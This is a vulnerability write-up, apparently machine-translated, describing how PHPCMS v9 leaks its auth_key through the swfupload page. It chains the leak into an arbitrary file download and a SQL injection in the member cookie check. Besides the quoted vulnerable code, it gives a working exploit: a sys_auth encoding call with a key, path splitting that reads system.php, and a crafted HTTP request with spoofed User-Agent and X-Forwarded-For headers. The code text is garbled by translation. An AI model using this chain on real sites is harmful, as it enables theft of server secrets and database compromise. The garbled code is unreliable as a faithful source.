PHPCMS design defects may cause authkey Leakage
Kill all v9 versions (conditional ).
The swfupload upload page outputs the MD5 (auth_key + sess_id), phpcms \ modules \ attachment \ functions \ global. func. php: initupload Function
function initupload($module, $catid,$args, $userid, $groupid = '8', $isadmin = '0',$userid_flash='0'){ $grouplist = getcache('grouplist','member'); if($isadmin==0 && !$grouplist[$groupid]['allowattachment']) return false; extract(getswfinit($args)); $siteid = param::get_cookie('siteid'); $site_setting = get_site_setting($siteid); $file_size_limit = $site_setting['upload_maxsize']; $sess_id = SYS_TIME; $admin_url = pc_base::load_config('system','admin_url'); $upload_path = empty($admin_url) ? APP_PATH : 'http://'.$admin_url.'/'; $swf_auth_key = md5(pc_base::load_config('system','auth_key').$sess_id); $init = 'var swfu = \'\'; $(document).ready(function(){ swfu = new SWFUpload({ flash_url:"'.JS_PATH.'swfupload/swfupload.swf?"+Math.random(), upload_url:"'.$upload_path.'index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1", file_post_name : "Filedata", post_params:{"SWFUPLOADSESSID":"'.$sess_id.'","module":"'.$module.'","catid":"'.$_GET['catid'].'","userid":"'.$userid.'","siteid":"'.$siteid.'","dosubmit":"1","thumb_width":"'.$thumb_width.'","thumb_height":"'.$thumb_height.'","watermark_enable":"'.$watermark_enable.'","filetype_post":"'.$file_types_post.'","swf_auth_key":"'.$swf_auth_key.'","isadmin":"'.$isadmin.'","groupid":"'.$groupid.'","userid_flash":"'.$userid_flash.'"}, file_size_limit:"'.$file_size_limit.'", file_types:"'.$file_types.'", file_types_description:"All Files", file_upload_limit:"'.$file_upload_limit.'", custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"}, button_image_url: "", button_width: 75, button_height: 28, button_placeholder_id: "buttonPlaceHolder", button_text_style: "", button_text_top_padding: 3, button_text_left_padding: 12, button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT, button_cursor: SWFUpload.CURSOR.HAND, file_dialog_start_handler : fileDialogStart, file_queued_handler : fileQueued, file_queue_error_handler:fileQueueError, file_dialog_complete_handler:fileDialogComplete, upload_progress_handler:uploadProgress, upload_error_handler:uploadError, upload_success_handler:uploadSuccess, upload_complete_handler:uploadComplete }); })'; return $init; }
The returned data includes the $ sess_id and $ swf_auth_key values, and $ swf_auth_key = MD5 (auth_key + $ sess_id ).
The template phpcms \ modules \ attachment \ templates \ swfupload. tpl. php calls the initupload function to output the above content:
userid,$this->groupid,$this->isadmin,$userid_flash)?>
Point: The PHPCMS file download function encrypts the file path. The encryption key used is MD5 (auth_key + User-Agent). You can change the UA of the browser to the $ sess_id obtained above, you can share an encryption key so that PHPCMS can decrypt the data we constructed and download any file.
Phpcms \ modules \ content \ down. php:
Public function download () {$ a_k = trim ($ _ GET ['A _ k']); if (empty ($ _ SERVER ['HTTP _ USER_AGENT ']) {$ pc_auth_key = md5 (pc_base: load_config ('system', 'auth _ key '). 'low');} else {$ pc_auth_key = md5 (pc_base: load_config ('system', 'auth _ key '). $ _ SERVER ['HTTP _ USER_AGENT ']); // change UA to $ sess_id} $ a_k = sys_auth ($ a_k, 'decode', $ pc_auth_key ); // $ pc_auth_key is the $ swf_auth_key if (empty ($ a_k) showmessage (L ('illegal _ Parameters '); unset ($ I, $ m, $ f, $ t, $ ip); parse_str ($ a_k); if (isset ($ I )) $ downid = intval ($ I); if (! Isset ($ m) showmessage (L ('illegal _ parameters '); if (! Isset ($ modelid) showmessage (L ('illegal _ parameters '); if (empty ($ f) showmessage (L ('url _ invalid ')); if (! $ I | $ m <0) showmessage (L ('illegal _ parameters '); if (! Isset ($ t) showmessage (L ('illegal _ parameters '); if (! Isset ($ ip) showmessage (L ('illegal _ parameters '); $ starttime = intval ($ t ); if (preg_match ('/(php | phtml | php3 | php4 | jsp | dll | asp | cer | asa | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $)/I ', $ f) | strpos ($ f ,":\\")! = FALSE | strpos ($ f ,'..')! = FALSE) showmessage (L ('url _ error'); $ fileurl = trim ($ f); if (! $ Downid | empty ($ fileurl) |! Preg_match ("/[0-9] {10}/", $ starttime) |! Preg_match ("/[0-9] {1, 3 }\. [0-9] {1, 3 }\. [0-9] {1, 3 }\. [0-9] {1, 3}/", $ ip) | $ ip! = Ip () showmessage (L ('illegal _ parameters '); $ endtime = SYS_TIME-$ starttime; if ($ endtime> 3600) showmessage (L ('url _ invalid'); if ($ m) $ fileurl = trim ($ s ). trim ($ fileurl); // No filter for $ s. You can split the path into two parts to bypass the check. // remote file if (strpos ($ fileurl ,':/') & (strpos ($ fileurl, pc_base: load_config ('system', 'upload _ url') === false) {header ("Location: $ fileurl ");} else {if ($ d = 0) {header (" Location :". $ fileurl);} els E {$ fileurl = str_replace (array (pc_base: load_config ('system', 'upload _ url'), '/'), array (pc_base :: load_config ('system', 'upload _ path'), DIRECTORY_SEPARATOR), $ fileurl); $ filename = basename ($ fileurl ); // process the Chinese file if (preg_match ("/^ ([\ s \ S] *?) ([\ X81-\ xfe] [\ x40-\ xfe]) ([\ s \ S] *?) /", $ Fileurl) {$ filename = str_replace (array (" % 5C "," % 2F "," % 3A "), array ("\\", "/", ":"), urlencode ($ fileurl); $ filename = urldecode (basename ($ filename);} $ ext = fileext ($ filename ); $ filename = date ('ymd _ his '). random (3 ). '. '. $ ext; file_down ($ fileurl, $ filename); // readfile read file output }}}
Method of exploits:
Step 1 get $ sess_id and $ swf_auth_key:
After a registered user logs on to the system, submit a manuscript online (which must be enabled in the background) and upload the picture right-click the source code:
Obtain the SWFUPLOADSESSID and swf_auth_key values, which will be used later.
The second construction parameter is submitted:
File Download url: index. php? M = content & c = down & a = download & a_k = the constructed parameter. Use the $ swf_auth_key obtained in the previous step to encrypt the data:
echo sys_auth('i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp', 'ENCODE', 'cfd9640609eda8f9fb18c6218a1b2fbb');?>
Split the path into two parts to bypass the check. The download checks the ip address. xff corresponds to the ip address when submitting the request.
GET /phpcms/index.php?m=content&c=down&a=download&a_k=a0a0O5Uaj01MArU_b8CugWY5sD_DOEywOTSS23YhCRMuvNAZxC0SZQJqKP4d4aji2bxoqi6AkHntYxSdp0nH5EImeznkwR8a4Cv4q0icTqG93BV2-XxvYNmNaojda_T0ZwW71REcF8ylU3I HTTP/1.1Host: www.test.comUser-Agent: 1428568625X-Forwarded-For: 127.0.0.1
Read the configuration file and obtain the auth_key before SQL injection.
Phpcms \ modules \ member \ classes \ foreground. class. php:
Final public function check_member () {$ phpcms_auth = param: get_cookie ('auth '); if (ROUTE_M = 'member' & ROUTE_C = 'index' & in_array (ROUTE_A, array ('login', 'Register ', 'mini ', 'Send _ newmail') {if ($ phpcms_auth & ROUTE_A! = 'Mini ') {showmessage (L ('login _ success', '', 'member '), 'index. php? M = member & c = Index');} else {return true ;}} else {// determine whether auth cookie exists if ($ phpcms_auth) {$ auth_key = get_auth_key ('login'); list ($ userid, $ password) = explode ("\ t", sys_auth ($ phpcms_auth, 'decode ', $ auth_key); // decrypt the cookie value // verify the user, get user information $ this-> memberinfo = $ this-> db-> get_one (array ('userid' => $ userid); // $ userid without intval, injection exists and ignore GPC if ($ this-> memberinfo ['islock']) exit ('
Bad Request!
'); // Get user model information $ this-> db-> set_model ($ this-> memberinfo ['modelid']); $ this-> _ member_modelinfo = $ this-> db-> get_one (array ('userid' => $ userid )); $ this-> _ member_modelinfo = $ this-> _ member_modelinfo? $ This-> _ member_modelinfo: array (); $ this-> db-> set_model (); if (is_array ($ this-> memberinfo )) {$ this-> memberinfo = array_merge ($ this-> memberinfo, $ this-> _ member_modelinfo );}...
Solution:
The sys_auth function has three versions:
Before phpcmsV9.5.8
Add mcrypt to phpcmsV9.5.8
Change phpcmsV9.5.9 to dz authcode.